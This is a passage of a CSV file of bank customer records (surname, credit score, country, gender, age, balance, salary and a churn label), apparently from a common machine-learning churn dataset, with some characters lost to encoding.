+6809,15720134,Reynolds,709,Germany,Male,30,9,115479.48,2,1,1,134732.99,0 +6810,15688868,Birdsall,684,France,Female,26,5,87098.91,1,0,0,106095.82,0 +6811,15642996,Tsai,546,Germany,Female,42,9,86351.85,2,1,0,57380.13,0 +6812,15771222,Oguejiofor,779,France,Female,42,5,0,2,0,0,25951.91,0 +6813,15605059,Mackie,576,Germany,Male,63,3,148843.56,1,1,0,69414.13,1 +6814,15568088,Jamieson,481,Germany,Male,44,3,163714.52,1,1,0,96123.72,0 +6815,15665943,Mai,445,France,Male,25,6,0,2,1,0,119425.94,0 +6816,15795571,Patterson,606,Spain,Male,36,0,94153.56,1,0,1,120138.27,0 +6817,15662243,Taylor,559,France,Male,50,5,162702.35,1,0,0,150548.5,1 +6818,15593128,Vinogradoff,608,France,Female,56,10,129255.2,2,1,0,142492.04,1 +6819,15589739,North,698,France,Male,41,3,90605.29,1,1,1,14357,0 +6820,15787602,Carter,568,Spain,Male,39,5,0,2,1,1,129569.92,0 +6821,15685019,Graham,528,France,Male,29,3,102787.42,1,1,0,55972.56,0 +6822,15704209,Noble,802,France,Female,39,7,120145.96,2,0,1,59497.01,1 +6823,15605264,Walker,669,Germany,Male,47,0,63723.78,2,1,1,181928.25,0 +6824,15708265,Chibugo,581,Spain,Female,24,10,159203.71,1,1,1,102517.83,1 +6825,15740264,Yobachi,640,France,Male,38,9,0,2,1,0,88827.67,0 +6826,15615477,Ignatyeva,529,Spain,Female,44,1,0,2,0,0,14161.3,0 +6827,15727361,Chiemela,547,France,Female,51,1,0,2,1,1,56908.41,0 +6828,15760216,Pokrovskaya,718,France,Female,49,10,0,1,1,0,184474.72,1 +6829,15806134,Storey,707,Germany,Male,34,9,162691.16,2,1,0,94912.78,0 +6830,15601351,Moroney,735,France,Male,43,9,127806.91,1,1,1,73069.59,0 +6831,15669262,Maslov,765,France,Male,43,9,157960.49,2,0,0,136602.8,0 +6832,15696989,Chukwueloka,469,Germany,Female,52,8,139493.25,3,0,0,150093.32,1 +6833,15688498,Chu,594,Germany,Female,21,2,87096.82,2,1,0,168186.11,0 +6834,15686964,Spence,675,France,Female,34,10,84944.58,1,0,0,146230.63,0 +6835,15625035,Mills,703,France,Male,50,8,160139.59,2,1,1,79314.1,0 +6836,15618391,Doyle,810,France,Male,33,6,0,2,1,1,77965.67,0 +6837,15591344,Donnelly,715,Spain,Male,42,6,0,2,1,1,128745.69,0 +6838,15605455,Tai,664,France,Male,40,9,0,2,1,0,194767.3,0 +6839,15680804,Abbott,850,France,Male,29,6,0,2,1,1,10672.54,0 +6840,15768282,Perez,724,Germany,Male,36,6,94615.11,2,1,1,10627.21,0 +6841,15685826,Hsiung,563,France,Male,30,7,90727.79,1,1,0,122268.75,0 +6842,15793491,Cherkasova,714,Germany,Male,26,3,119545.48,2,1,0,65482.94,0 +6843,15797787,Denisov,614,France,Male,36,1,118311.76,1,1,0,146134.68,0 +6844,15611171,Fowler,740,France,Male,33,1,129574.98,1,1,1,123300.38,0 +6845,15601627,Siciliano,587,France,Male,33,8,148163.57,1,0,0,122925.4,0 +6846,15734085,Crocker,465,Germany,Male,24,5,117154.9,1,1,1,127744.02,0 +6847,15809309,Longo,689,Spain,Female,40,5,154251.67,1,0,1,118319.5,0 +6848,15809462,Polyakova,656,France,Male,30,3,0,2,0,1,17104,0 +6849,15634628,Brown,579,France,Female,33,1,65667.79,2,0,0,164608.98,0 +6850,15775678,Uspensky,716,France,Female,44,1,0,1,1,1,152108.47,0 +6851,15579526,O'Meara,551,France,Male,42,1,50194.59,1,1,1,23399.58,0 +6852,15779103,Cantamessa,527,Germany,Female,39,9,96748.89,2,1,0,94711.43,0 +6853,15738715,Alexander,600,France,Female,37,4,0,3,1,0,7312.25,1 +6854,15593943,Chinagorom,685,France,Female,43,1,132667.17,1,1,1,41876.98,0 +6855,15754574,Tomlinson,738,Spain,Male,36,5,0,2,1,1,96881.32,0 +6856,15737814,Lo,622,France,Male,41,2,127087.06,1,1,0,102402.91,1 +6857,15670889,Nwachukwu,528,France,Male,34,1,125566.9,1,1,1,176763.27,0 +6858,15629299,Yang,546,Germany,Female,52,1,106074.89,1,1,1,23548.45,1 +6859,15771569,Bage,576,Germany,Male,46,4,137367.94,1,1,1,33450.11,0 +6860,15811927,Marcelo,733,France,Female,38,3,157658.36,1,0,0,19658.43,0 +6861,15785654,Ofodile,727,Germany,Male,45,6,114422.85,2,1,1,104678.78,1 +6862,15665524,Savage,605,Spain,Male,41,5,103154.66,1,0,0,143203.78,0 +6863,15736287,Piccio,586,France,Male,33,9,0,1,1,0,6975.02,0 +6864,15765732,Simmons,564,Spain,Female,24,6,149592.14,1,1,1,153771.8,0 +6865,15797381,DeRose,593,Germany,Female,48,3,133903.12,2,1,1,85902.39,1 +6866,15598536,Onuchukwu,736,Germany,Female,26,0,84587.9,1,0,1,188037.76,0 +6867,15664506,Goodwin,675,Spain,Male,32,8,197436.82,1,1,1,52710.7,0 +6868,15575619,Teakle,656,Spain,Female,32,1,104254.27,1,1,1,17034.37,0 +6869,15587394,Thomson,462,France,Male,39,4,140133.08,2,0,0,131304.45,0 +6870,15654457,Cross,685,Spain,Female,30,2,0,3,1,1,172576.43,1 +6871,15762793,Jones,850,Germany,Female,36,0,136980.23,2,1,1,99019.65,0 +6872,15658067,Walker,636,Germany,Female,48,3,120568.41,1,1,0,190160.04,1 +6873,15642816,De Salis,850,France,Female,27,7,43658.33,2,1,1,3025.49,0 +6874,15693088,Oliver,628,France,Female,37,9,0,2,1,1,34689.77,0 +6875,15793883,Lo Duca,798,France,Male,28,3,0,2,1,0,2305.27,0 +6876,15665283,Brookes,610,France,Female,57,7,72092.95,4,0,1,113228.82,1 +6877,15680421,Challis,591,France,Female,42,10,0,2,0,0,171099.22,0 +6878,15695148,Ibeabuchi,614,Spain,Female,37,9,0,2,1,1,62023.1,0 +6879,15636592,Iroawuchi,651,France,Male,35,0,181821.96,2,0,1,36923.67,1 +6880,15772618,Tyler,665,France,Male,25,7,90920.75,1,0,1,112256.57,0 +6881,15724453,Fan,570,France,Male,23,2,0,1,0,0,198830.98,0 +6882,15565878,Bates,631,Spain,Male,29,3,0,2,1,1,197963.46,0 +6883,15609160,Marsden,586,France,Male,32,1,0,2,0,0,31635.99,0 +6884,15678460,Dodgshun,691,France,Male,30,9,0,1,1,0,49594.02,0 +6885,15662571,Maclean,639,France,Male,35,8,0,2,1,0,170483.9,0 +6886,15606849,Blackall,698,France,Female,27,1,94920.71,1,1,1,40339.9,0 +6887,15670738,Mazzanti,733,Germany,Male,45,2,113939.36,2,1,0,3218.71,0 +6888,15662641,Amadi,850,France,Male,19,8,0,1,1,1,68569.89,0 +6889,15727539,Schoenheimer,618,France,Female,31,4,0,2,1,0,29176.04,0 +6890,15651020,Fiorentino,473,France,Female,25,6,110666.42,2,0,0,46758.42,0 +6891,15673877,Murray,490,France,Male,39,1,0,3,1,0,171060.01,1 +6892,15760865,Fan,754,Germany,Female,48,7,141819.02,1,1,0,93550.53,1 +6893,15705009,Cartwright,649,France,Female,56,8,156974.26,1,1,0,89405.26,1 +6894,15657540,Cremonesi,578,France,Male,50,5,151215.34,2,1,0,169804.4,0 +6895,15707441,White,690,Spain,Male,26,8,116318.23,1,1,1,83253.05,0 +6896,15694765,Sabbatini,610,Germany,Male,49,6,113882.33,1,1,0,195813.81,1 +6897,15649086,Patterson,596,France,Male,42,7,0,2,1,1,121568.37,0 +6898,15650488,Bromley,492,France,Female,48,6,127253.98,1,1,1,92144.09,1 +6899,15760924,Doherty,575,Spain,Male,41,2,100062.39,1,0,0,126307.25,0 +6900,15700263,Ifeatu,569,France,Male,66,2,0,1,1,0,130784.2,1 +6901,15806922,Bergamaschi,674,Spain,Female,41,4,126605.14,1,1,1,166694.93,0 +6902,15637522,Shubina,507,France,Female,31,0,106942.08,1,0,1,44001.11,0 +6903,15636548,Lung,457,Spain,Male,44,7,0,2,0,0,185992.36,0 +6904,15566891,Kinder,584,Germany,Female,41,3,88594.93,1,1,0,178997.89,0 +6905,15627185,Terry,744,Germany,Male,29,6,123737.04,2,1,0,141558.04,0 +6906,15754012,Shepherdson,687,France,Female,35,1,110752.15,2,1,1,47921.22,0 +6907,15627514,Short,688,Spain,Female,46,3,0,2,0,1,104902.68,0 +6908,15661433,Zetticci,519,France,Male,34,5,0,1,1,0,68479.6,0 +6909,15610653,Belov,733,Spain,Female,38,5,0,2,1,1,1271.51,0 +6910,15667002,Knight,666,Spain,Male,43,5,0,2,1,0,29346.1,0 +6911,15709199,Burson,511,Spain,Female,40,1,0,1,1,1,184118.73,0 +6912,15710087,Nicholls,705,Germany,Female,54,3,125889.3,3,1,0,96013.5,1 +6913,15679884,Hs?eh,544,France,Male,48,10,78314.63,3,1,1,103713.93,1 +6914,15784180,Ku,564,France,Female,36,7,206329.65,1,1,1,46632.87,1 +6915,15808849,T'ien,702,France,Male,40,7,145536.9,1,0,1,135334.24,0 +6916,15751549,H?,658,Germany,Male,31,2,77082.65,2,0,0,13482.28,0 +6917,15588235,Vasilieva,654,France,Female,24,8,145081.73,1,1,1,130075.07,0 +6918,15640418,Omeokachie,649,Germany,Female,41,4,115897.73,1,1,0,143544.48,0 +6919,15721116,Napolitano,597,Spain,Male,24,0,108058.07,2,1,1,187826.11,0 +6920,15599084,Hopwood,782,France,Male,33,7,191523.09,1,1,1,167058.75,0 +6921,15773394,Bergamaschi,644,France,Male,38,3,0,2,1,1,79928.41,0 +6922,15625713,Lindeman,679,Spain,Female,39,7,91187.9,1,0,1,6075.36,0 +6923,15766417,McKinley,678,France,Female,60,2,0,2,1,1,43821.56,0 +6924,15622578,Sergeyev,806,France,Male,34,5,113958.55,1,0,1,32125.98,0 +6925,15799924,Sanchez,668,Spain,Male,43,1,147167.25,1,0,0,141679.73,0 +6926,15618363,Muomelu,659,Germany,Male,29,9,82916.48,1,1,1,84133.48,0 +6927,15637138,Murray,660,France,Male,34,1,0,2,1,0,9692.58,0 +6928,15781665,Ibekwe,601,France,Female,37,5,0,1,0,0,20708.6,0 +6929,15804853,McVey,781,France,Female,48,0,57098.96,1,1,0,85644.06,1 +6930,15651627,White,628,Germany,Male,39,1,115341.19,1,1,1,107674.3,1 +6931,15680685,Patterson,751,France,Male,30,3,165257.2,1,0,0,134822.05,0 +6932,15808930,Mai,531,France,Female,37,1,0,1,1,0,4606.97,0 +6933,15570970,Han,647,France,Female,42,9,0,2,1,1,51362.82,0 +6934,15679961,Davidson,708,Spain,Male,46,7,68799.72,1,1,1,39704.14,0 +6935,15705458,Parkin,550,Spain,Male,39,2,116120.19,2,1,1,195638.13,0 +6936,15750396,McKissick,670,France,Male,33,1,0,2,1,1,86413.11,0 +6937,15679928,Horsfall,592,France,Female,31,2,84102.11,2,0,1,116385.24,0 +6938,15711181,Clapp,589,France,Female,50,4,0,2,0,1,182076.97,0 +6939,15698324,Azikiwe,725,France,Female,33,4,0,1,1,1,67879.8,0 +6940,15807433,Zubarev,570,France,Female,43,9,0,2,0,1,11417.26,0 +6941,15636590,Pisano,575,France,Male,46,1,0,2,1,1,65998.26,0 +6942,15628950,Coates,501,Germany,Male,25,6,104013.79,1,1,0,114774.35,0 +6943,15617206,Trentino,431,Germany,Male,42,8,120822.86,2,1,0,126153.24,0 +6944,15603741,MacDonnell,719,Spain,Male,40,4,128389.12,1,1,1,176091.31,0 +6945,15742607,Ermakov,850,Germany,Male,36,7,102800.72,1,1,1,87352.43,0 +6946,15747821,K?,554,Germany,Female,31,6,135470.9,1,1,0,107074.81,0 +6947,15612043,Hammonds,418,France,Male,36,7,90145.04,1,1,1,69157.93,0 +6948,15809558,Peppin,715,Spain,Male,31,7,0,1,1,1,149970.59,0 +6949,15803750,Ball,750,Spain,Female,33,3,161801.47,1,0,1,153288.97,1 +6950,15704681,Yeh,766,Germany,Male,37,2,99660.13,2,0,1,147700.78,0 +6951,15667392,L?,652,Spain,Female,38,6,123081.84,2,1,1,188657.97,0 +6952,15738889,Shih,658,France,Male,42,8,102870.93,1,0,1,103764.55,1 +6953,15598838,Greco,659,France,Female,37,1,151105.68,1,1,1,140934.57,0 +6954,15579109,Napolitano,574,Germany,Male,35,5,163856.76,1,1,1,15118.2,0 +6955,15799042,Zaytseva,611,France,Male,38,7,0,1,1,1,63202,0 +6956,15697042,Genovesi,738,Spain,Male,35,8,127290.61,1,1,0,16081.62,0 +6957,15696605,Angelo,571,France,Male,49,4,180614.04,1,0,0,523,0 +6958,15802274,Waters,686,France,Female,44,7,55053.62,1,1,0,181757.19,0 +6959,15596808,Maclean,679,Spain,Male,33,4,96110.22,1,1,0,1173.23,0 +6960,15705403,Seleznyova,617,Spain,Female,46,3,106521.49,1,0,1,86587.37,0 +6961,15732903,Fontenot,673,France,Male,39,7,82255.51,2,1,0,109545.56,0 +6962,15581968,Reid,745,France,Female,33,1,0,2,1,1,174431.01,0 +6963,15683892,Fraser,677,Germany,Female,26,3,102395.79,1,1,0,119368.99,0 +6964,15595447,Tuan,613,Spain,Male,39,8,118201.41,1,1,0,23315.59,0 +6965,15569249,Howarth,576,France,Female,55,6,44582.07,3,0,1,67539.85,1 +6966,15656188,Davis,584,Spain,Female,30,5,0,2,1,1,185201.58,0 +6967,15689661,Gorbunov,663,France,Male,22,6,0,2,0,1,131827.15,0 +6968,15644934,Gentry,466,France,Male,26,9,105522.06,1,1,0,10842.46,0 +6969,15721793,Chiu,510,Germany,Female,50,7,123936.54,1,1,1,23768.01,0 +6970,15687413,Sunderland,619,Spain,Female,38,6,0,2,1,1,117616.29,0 +6971,15761286,Fan,696,Germany,Female,66,7,119499.42,2,1,1,174027.3,0 +6972,15658240,Parry,554,France,Female,44,9,135814.7,2,0,0,115091.38,0 +6973,15706232,Niu,595,France,Male,52,9,0,1,1,1,106340.66,1 +6974,15583394,Zuyev,659,Germany,Male,39,8,106259.63,2,1,1,198103.32,0 +6975,15715643,Ijendu,662,France,Male,44,8,0,2,1,1,175314.87,0 +6976,15644856,Bird,556,Spain,Male,38,2,115463.16,1,1,0,150679.65,0 +6977,15785488,Palmer,701,Spain,Female,39,9,0,2,1,1,110043.88,0 +6978,15711571,Y?,587,Spain,Male,42,5,120233.83,1,1,0,194890.33,0 +6979,15778604,Nicholson,571,France,Female,47,7,0,2,0,0,112366.98,0 +6980,15751180,Adams,539,France,Female,40,7,81132.21,1,1,0,167289.82,0 +6981,15748360,Cocci,644,Germany,Female,34,10,122196.99,2,1,1,182099.71,0 +6982,15770039,Kuo,572,Germany,Male,39,4,112290.22,1,1,0,49373.97,1 +6983,15685096,Trevisani,753,France,Female,50,4,0,2,1,1,861.4,0 +6984,15669501,Kuo,706,France,Male,35,5,0,2,1,1,81718.37,0 +6985,15622631,H?,588,France,Male,44,8,154409.74,1,1,0,49324.03,1 +6986,15586699,Thomson,825,France,Male,32,9,0,2,0,0,9751.03,0 +6987,15702377,Knorr,627,Spain,Male,48,1,132759.8,1,1,0,78899.22,0 +6988,15577170,Manfrin,532,France,Male,60,5,76705.87,2,0,1,13889.73,0 +6989,15769451,Hayes,764,France,Female,44,1,0,2,1,1,11467.38,0 +6990,15811877,Shao,700,France,Female,36,4,0,2,1,0,130789.15,0 +6991,15648725,Sinclair,660,France,Male,41,3,0,2,1,1,108665.89,0 +6992,15752801,Bradshaw,518,Germany,Male,29,9,125961.74,2,1,0,160303.08,1 +6993,15808175,Castiglione,557,France,Female,39,7,49572.73,1,1,0,115287.99,1 +6994,15681342,Hurst,639,France,Female,35,1,103015.12,2,1,1,139094.12,0 +6995,15589210,Adamson,557,France,Female,24,4,0,1,0,0,20515.72,0 +6996,15696826,James,633,France,Female,32,1,104001.38,1,0,1,36642.65,0 +6997,15614962,Pavlova,623,Spain,Female,50,2,87116.71,1,1,1,104382.11,0 +6998,15689061,Davey,611,France,Male,68,5,82547.11,2,1,1,146448.01,0 +6999,15640074,Barrett,666,Spain,Female,47,5,0,1,0,0,166650.9,1 +7000,15776156,Dolgorukova,521,France,Male,27,4,121325.84,1,1,1,164223.7,1 +7001,15739548,Johnson,775,France,Male,28,9,111167.7,1,1,0,149331.01,0 +7002,15662854,Manna,681,Germany,Male,48,5,139714.4,2,0,0,73066.72,0 +7003,15687688,Hou,564,Germany,Female,32,10,139875.2,2,1,0,15378.23,0 +7004,15715750,Okeke,646,Germany,Female,44,2,113063.83,1,0,0,53072.49,1 +7005,15571121,Kodilinyechukwu,670,France,Female,50,8,138340.06,1,0,1,3159.15,0 +7006,15726466,Esposito,751,France,Male,43,1,114974.24,1,1,0,125920.54,0 +7007,15660390,Boyle,544,France,Female,33,6,0,2,1,1,124113.04,0 +7008,15663942,Hsiung,639,France,Female,38,5,0,2,0,0,93716.38,0 +7009,15638610,Kennedy,635,Germany,Female,65,5,117325.54,1,1,0,155799.86,1 +7010,15644446,Norton,672,France,Female,28,6,0,1,0,1,8814.69,0 +7011,15585892,Zakharov,639,France,Female,35,8,0,1,0,0,164453.98,0 +7012,15609356,Chimaraoke,697,France,Female,25,1,0,2,0,0,87803.32,0 +7013,15803378,Small,850,Spain,Male,44,8,0,2,1,1,183617.32,0 +7014,15599440,McGregor,748,France,Female,34,8,0,2,1,0,53584.03,0 +7015,15692408,Brown,463,Spain,Female,35,2,0,2,1,1,1950.93,0 +7016,15683168,Frederickson,572,France,Female,30,6,0,1,0,1,175025.27,0 +7017,15790254,Wood,741,Spain,Male,50,1,78737.61,1,1,1,13018.96,0 +7018,15767729,Smith,646,Spain,Male,25,5,182876.88,2,1,1,42537.59,1 +7019,15768600,Harris,805,Germany,Male,50,9,130023.38,1,1,0,62989.82,1 +7020,15699839,Hall,637,France,Male,36,2,152606.82,1,1,1,71692.8,0 +7021,15786237,Pickworth,651,France,Male,28,7,0,2,1,0,823.96,0 +7022,15694530,Porter,672,France,Male,28,4,167268.98,1,1,1,169469.3,0 +7023,15796813,Storey,493,France,Male,54,3,167831.88,2,1,0,150159.95,1 +7024,15605791,Li,524,Germany,Male,29,9,144287.6,2,1,0,32063.3,0 +7025,15714087,McGill,624,Germany,Female,45,5,151855.33,1,1,0,68794.15,0 +7026,15711446,Sinclair,569,Spain,Female,51,3,0,3,1,0,75084.96,1 +7027,15588123,Horton,677,France,Female,27,2,0,2,0,1,114685.92,0 +7028,15748552,Sal,464,Germany,Male,37,4,155994.15,1,0,0,143665.44,0 +7029,15618410,Murray,718,Germany,Male,26,7,147527.03,1,0,0,51099.56,0 +7030,15672432,Giles,594,France,Female,53,4,0,1,1,0,5408.74,1 +7031,15610042,Brown,574,France,Male,33,8,100267.03,1,1,0,103006.27,0 +7032,15580914,Okechukwu,478,Spain,Male,48,0,83287.05,2,0,1,44147.95,1 +7033,15583680,White,615,Spain,Male,41,4,0,1,0,1,149278.96,0 +7034,15813718,Kirillova,651,Spain,Male,45,4,0,2,0,0,193009.21,0 +7035,15767264,Lawson,465,Germany,Male,53,1,117438.17,1,0,0,74898.8,1 +7036,15686461,Sarratt,558,France,Female,56,7,121235.05,2,1,1,116253.1,0 +7037,15678882,Hay,540,Germany,Male,37,3,129965.18,1,0,0,19374.08,0 +7038,15789611,Lin,568,Germany,Male,46,8,150836.92,1,0,0,64516.8,1 +7039,15668679,Ozerova,630,France,Male,31,0,0,2,1,1,34475.14,0 +7040,15631685,Lambert,523,Germany,Male,60,1,163894.35,1,0,1,57061.71,0 +7041,15655658,Bulgakov,678,France,Female,48,2,0,2,1,1,32301.88,0 +7042,15753591,He,438,France,Male,38,2,0,2,1,0,136859.55,0 +7043,15617348,Uchechukwu,544,France,Male,44,1,0,2,0,0,69244.24,0 +7044,15704581,Robertson,595,Germany,Male,34,2,87967.42,2,0,1,156309.52,0 +7045,15738487,Leworthy,678,France,Male,26,3,0,2,1,0,4989.33,0 +7046,15648069,Onyemachukwu,850,France,Female,36,6,0,2,1,1,190194.95,0 +7047,15737627,Rivero,589,Germany,Female,20,2,121093.29,2,1,0,3529.72,0 +7048,15731586,Lai,785,Spain,Female,31,2,121691.54,2,0,0,81778.72,0 +7049,15757467,Feng,563,Spain,Male,57,6,0,2,1,1,39297.48,0 +7050,15597709,Hornung,602,France,Female,39,6,154121.32,2,1,0,176614.86,1 +7051,15720529,Schiavone,591,France,Male,29,6,0,2,1,1,108684.65,0 +7052,15596797,Barnet,643,Spain,Male,43,1,0,2,1,1,145764.4,0 +7053,15681755,Dennys,605,France,Female,32,5,0,2,1,1,42135.28,0 +7054,15815271,Ritchie,755,Germany,Male,43,6,165048.5,3,1,0,16929.41,1 +7055,15682860,Lo,769,Spain,Male,38,6,0,2,0,0,104393.78,0 +7056,15621546,Yuriev,620,France,Female,33,9,127638.35,1,1,1,192717.57,0 +7057,15705918,Howarth,725,France,Male,31,8,0,2,1,1,59650.42,0 +7058,15684512,Gibson,818,Germany,Female,72,8,135290.42,2,1,1,63729.72,0 +7059,15671769,Zikoranachidimma,624,France,Female,71,4,170252.05,3,1,1,73679.59,1 +7060,15642934,Mason,669,Germany,Female,35,4,108269.2,2,1,0,174969.92,0 +7061,15594305,Rizzo,712,France,Female,32,1,0,2,1,0,1703.58,0 +7062,15789201,Thomson,603,Germany,Female,35,9,145623.36,1,1,0,163181.62,0 +7063,15706762,Ignatyev,597,France,Female,41,4,145809.53,2,1,1,52319.26,0 +7064,15766183,Ferguson,580,Germany,Male,76,2,130334.84,2,1,1,51672.08,0 +7065,15777994,Woods,718,France,Female,39,3,0,2,1,1,145355.11,0 +7066,15568162,Sung,527,Spain,Male,53,8,0,1,1,1,51711.57,0 +7067,15680643,Lo,729,Spain,Female,42,1,0,2,1,1,149535.97,0 +7068,15761854,Burn,746,France,Female,24,4,0,1,0,1,94105,0 +7069,15730793,Russell,699,Germany,Female,54,3,111009.32,1,1,1,155905.79,1 +7070,15692137,Jen,759,France,Female,46,2,0,1,1,1,138380.11,0 +7071,15608595,Lo Duca,748,France,Female,39,3,157371.54,1,0,1,97734.3,0 +7072,15709459,Oluchi,698,Spain,Female,63,5,0,1,1,1,173576.71,0 +7073,15775750,Yao,686,France,Male,37,9,134560.62,1,1,0,27596.39,0 +7074,15585855,Gould,679,France,Male,40,1,0,1,1,1,16897.19,0 +7075,15752139,Salter,682,Germany,Male,36,5,72373.62,2,1,0,36895.99,0 +7076,15768295,Warner,778,France,Female,34,7,109564.1,1,0,1,113046.81,0 +7077,15766906,Salier,742,France,Female,25,4,132116.13,2,1,0,129933.5,0 +7078,15725776,Lazar,649,Germany,Male,24,7,101195.23,1,0,0,133091.32,0 +7079,15682576,Onyenachiya,763,France,Male,67,1,149436.73,2,0,1,106282.74,0 +7080,15704081,Findlay,595,Germany,Male,30,9,130682.11,2,1,1,57862.88,0 +7081,15719940,Gibbons,628,Germany,Female,51,10,115280.49,2,0,0,12628.61,1 +7082,15672894,McCawley,625,France,Female,36,8,129944.39,2,0,0,198914.8,0 +7083,15667451,Taylor,733,France,Male,36,5,0,2,1,1,109127.54,0 +7084,15636767,Yang,665,Spain,Female,32,10,0,1,1,1,22487.45,0 +7085,15571415,Okwudiliolisa,805,Germany,Male,56,6,151802.29,1,1,0,46791.09,1 +7086,15575605,Napolitano,725,France,Male,38,6,0,2,1,1,158697.28,0 +7087,15649160,Vavilov,554,France,Female,38,3,138731.95,1,1,1,194138.36,0 +7088,15615832,Teague,675,Spain,Female,35,8,155621.08,1,0,1,35177.31,0 +7089,15600975,Chiemenam,556,France,Female,54,4,150005.38,1,1,0,157015.5,1 +7090,15690772,Hughes,635,Spain,Female,48,2,0,2,1,1,136551.25,0 +7091,15565714,Cattaneo,601,France,Male,47,1,64430.06,2,0,1,96517.97,0 +7092,15763108,Davis,600,Germany,Male,53,7,106261.63,1,1,0,93629.66,1 +7093,15723884,Nekrasova,758,Spain,Male,40,3,0,2,0,0,96097.65,0 +7094,15644453,Loggia,606,Germany,Female,41,4,132670.53,1,1,0,156476.36,1 +7095,15655464,Combes,640,France,Female,67,3,0,1,0,1,42964.63,0 +7096,15783883,Onwuka,753,Germany,Female,38,1,117314.92,1,1,0,122021.33,1 +7097,15787693,Kharlamov,559,Spain,Male,38,3,145874.35,1,1,0,56311.39,1 +7098,15664793,Scott,754,Spain,Female,50,7,146777.44,2,0,1,150685.52,0 +7099,15642391,Lettiere,621,Germany,Male,51,4,109978.83,1,0,0,177740.58,1 +7100,15756538,Osonduagwuike,654,France,Female,37,5,0,1,0,1,71492.28,0 +7101,15668830,Wan,650,Spain,Male,24,8,108881.73,1,1,0,104492.83,0 +7102,15796569,Donaldson,831,Spain,Female,44,10,0,1,0,1,47729.33,0 +7103,15677112,Chukwufumnanya,519,France,Male,39,2,112957.26,2,1,0,97593.16,0 +7104,15815040,Ma,552,Germany,Female,42,8,103362.14,1,0,1,186869.58,1 +7105,15590434,Alexander,577,Spain,Male,41,4,89015.61,1,0,1,135227.23,0 +7106,15597536,Nkemjika,576,Spain,Male,45,5,133618.01,1,0,0,135244.87,0 +7107,15723989,Carroll,646,France,Male,40,5,93680.43,2,1,1,179473.26,0 +7108,15767358,Obioma,711,Germany,Female,45,1,97486.15,2,1,0,50610.62,0 +7109,15594812,Campbell,806,Spain,Female,37,2,137794.18,2,0,1,75232.02,0 +7110,15688210,Sims,670,France,Female,39,8,101928.51,1,0,0,89205.54,0 +7111,15681509,McKay,679,Spain,Female,28,9,0,2,0,1,61761.77,0 +7112,15572390,Huang,850,Spain,Female,39,6,0,2,1,0,103921.43,0 +7113,15801441,Campbell,670,Germany,Female,35,2,79585.96,1,0,1,198802.9,0 +7114,15783859,Boni,733,France,Female,24,3,161884.99,1,1,1,9617.24,0 +7115,15575243,Gorbunova,764,France,Female,39,1,129068.54,2,1,1,187905.12,0 +7116,15773421,Genovese,673,France,Female,42,4,0,2,1,0,121440.8,0 +7117,15788776,Landor,588,Germany,Male,49,6,132623.76,3,1,0,36292.94,1 +7118,15765257,Meng,564,Spain,Male,31,5,121461.87,1,1,1,20432.09,1 +7119,15661412,Wardell,715,France,Male,32,8,175307.32,1,1,0,187051.23,0 +7120,15636478,Williams,621,France,Male,31,7,136658.61,1,1,1,148689.13,0 +7121,15603683,Ofodile,796,Spain,Female,23,3,146584.19,2,0,0,125445.8,0 +7122,15651868,Clark,672,France,Male,34,6,0,1,0,0,22736.06,0 +7123,15815443,Lo,527,Spain,Female,46,10,131414.76,1,1,0,54947.51,0 +7124,15682686,Chukwuemeka,722,France,Female,38,3,0,2,0,1,167984.72,0 +7125,15697460,Lai,596,Germany,Male,34,4,99441.21,2,0,1,4802.27,0 +7126,15748432,Arcuri,746,France,Female,32,4,0,2,1,1,72909.75,0 +7127,15698271,Graham,523,France,Female,26,4,0,2,1,0,185488.81,0 +7128,15808662,Krylov,624,France,Male,44,3,0,2,1,0,88407.51,0 +7129,15690372,Henry,553,Spain,Male,38,1,181110.13,2,1,0,184544.59,0 +7130,15781875,Jamieson,850,Spain,Male,33,3,100476.46,2,1,1,136539.13,0 +7131,15801473,Moore,599,Germany,Male,33,2,51949.95,2,1,0,85045.92,0 +7132,15704509,Tan,492,France,Male,35,8,121063.49,1,0,0,85421.48,0 +7133,15694666,Thornton,707,Spain,Male,48,8,88441.64,1,1,1,119903.2,1 +7134,15731166,Macleod,743,France,Female,30,1,127023.39,1,1,1,138780.89,0 +7135,15728523,Rizzo,522,France,Male,41,5,144147.68,1,1,1,14789.9,0 +7136,15788442,Chukwukadibia,681,Spain,Female,57,2,173306.13,1,0,1,131964.66,0 +7137,15689781,Ts'ai,826,France,Female,49,0,0,1,0,0,178709.98,1 +7138,15764226,Lu,630,Germany,Female,28,8,106425.75,1,1,1,20344.84,0 +7139,15809837,Kent,430,Germany,Female,66,6,135392.31,2,1,1,172852.06,1 +7140,15805212,Black,806,France,Female,67,1,0,2,0,1,103945.58,0 +7141,15716082,Chukwubuikem,703,Spain,Male,39,6,152685.4,1,0,0,183656.12,0 +7142,15643056,McMillan,755,Germany,Female,38,1,82083.52,1,0,1,10333.78,0 +7143,15654859,Ngozichukwuka,612,Spain,Female,63,2,131629.17,2,1,0,122109.58,1 +7144,15761158,Y?an,719,France,Female,54,7,0,2,1,1,125041.52,0 +7145,15577515,Sung,554,Germany,Female,55,0,108477.27,1,0,1,140003,1 +7146,15723827,Macartney,683,France,Male,30,4,114779.35,1,0,0,183171.47,0 +7147,15646594,Ali,749,France,Male,41,5,57568.94,1,1,1,61128.29,0 +7148,15712877,Morley,724,Spain,Male,36,1,0,2,1,0,52462.25,0 +7149,15598802,Martin,770,Spain,Male,30,8,0,2,0,1,50839.85,0 +7150,15699340,Okorie,680,France,Male,37,4,0,2,1,0,61240.87,0 +7151,15691150,Ku,699,France,Female,32,4,110559.46,1,1,1,127429.56,0 +7152,15608688,Andreyeva,442,France,Male,34,4,0,2,1,0,68343.08,0 +7153,15737998,Cheng,529,France,Male,46,8,0,1,0,0,126511.94,1 +7154,15735837,Hsia,574,Spain,Male,36,3,0,2,1,1,8559.66,0 +7155,15659100,Lane,605,France,Male,33,9,128152.82,1,0,0,147822.81,0 +7156,15609070,Findlay,515,Germany,Male,45,7,120961.5,3,1,1,39288.11,1 +7157,15650313,Okonkwo,632,Germany,Male,65,6,129472.33,1,1,1,85179.48,0 +7158,15627699,Pirogova,558,France,Male,32,10,105000.23,1,1,0,190019.61,0 +7159,15591010,McDonald,434,Germany,Male,55,8,109339.17,2,1,0,96405.88,1 +7160,15798895,Okonkwo,525,France,Female,59,6,55328.4,1,1,0,83342.73,1 +7161,15745375,Nnanna,640,Germany,Male,23,3,72012.76,1,1,0,161333.13,0 +7162,15775235,Ku,690,France,Female,36,6,110480.48,1,0,0,81292.33,0 +7163,15780088,Porter,607,Spain,Male,34,9,132439.99,1,1,0,177747.72,0 +7164,15649379,Somayina,850,France,Female,46,3,0,2,1,1,187980.21,0 